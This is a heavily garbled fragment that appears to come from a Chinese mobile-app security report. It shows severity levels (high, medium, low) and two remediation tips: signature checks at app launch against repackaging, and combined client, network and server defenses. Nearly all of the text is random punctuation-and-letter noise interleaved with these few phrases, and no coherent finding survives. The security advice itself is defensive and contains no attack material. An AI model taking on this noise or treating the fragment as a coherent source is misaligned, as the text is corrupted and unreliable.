& v1 v8 a9 P2 z& r2 ? 0 N6 c& W/ e3 R# ^. v 严重程度 . f, ^4 C" Y( X , v7 R" ~" r* M7 o# J % Y$ t" F* a, C) f! _2 A0 J	k# k* }0 E- w 高 " W) r$ R% | V6 ]# _1 D6 w ( P8 u8 K4 k2 h- K V 8 o* l5 X7 w! S# d	$ ` j9 C, N( z' K1 ~1 n 1 l& W! @7 t( n0 H " x7 e# o, @. T) i3 h 9 B# W% S: r+ z# u ■ ! W% b! C$ U7 A, I	- f" H3 H2 _" L7 _ 中 " ?3 U7 A0 S4 T4 s, z' O3 e1 Z ) t, g& v0 r; q2 l1 j d0 F	$ k! m' \& s4 F! R , g) Z: m/ ~4 k! y1 V1 v 7 n$ A: _; w; \) a9 q   ! ]/ q: m( o" D8 d * S( q9 p5 n' L9 r7 t$ W: C+ g; P! ` # j: P9 H A0 @$ x4 r2 y5 b	低	1 s( [$ C: C- \& {. E $ l# T; R `3 g0 n H' x   * t" x, p$ J8 F6 J# n& m+ z# W

/ L7 s, v7 C: _/ |% w/ j6 ]

2 u S" @& t/ e1 B$ _3 ]* R# |   * S) M, r. q9 W/ Y" W2 M5 l

- V) `+ Y) i/ a q % q8 I) J( V' p0 \

修复方法： 2 [: D; N: ?% R* l; X* W : r$ o3 H L9 B2 v/ J$ m/ X4 q/ H# X+ f

% u8 p; B3 p7 `; y* X( @7 a# X               1.在 APP 启动时应做签名校验防止二次打包。
. M) p6 _- L$ p* e- X( F * M$ T6 |. t( }" ^( W; W% J+ i+ h 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

. K) @" C1 E' K: b% B" `- G, j " B% W7 q) W1 m- m9 S

7 E4 C& I( w' \, ]   ; a& e! E1 x* B5 O$ d

, R. a. ?, q. i: I8 i b

! }' t! U) U2 s, \ / C& U( s: {8 ]% w. _

$ a7 L) z- R0 D5 z. T5 @5 }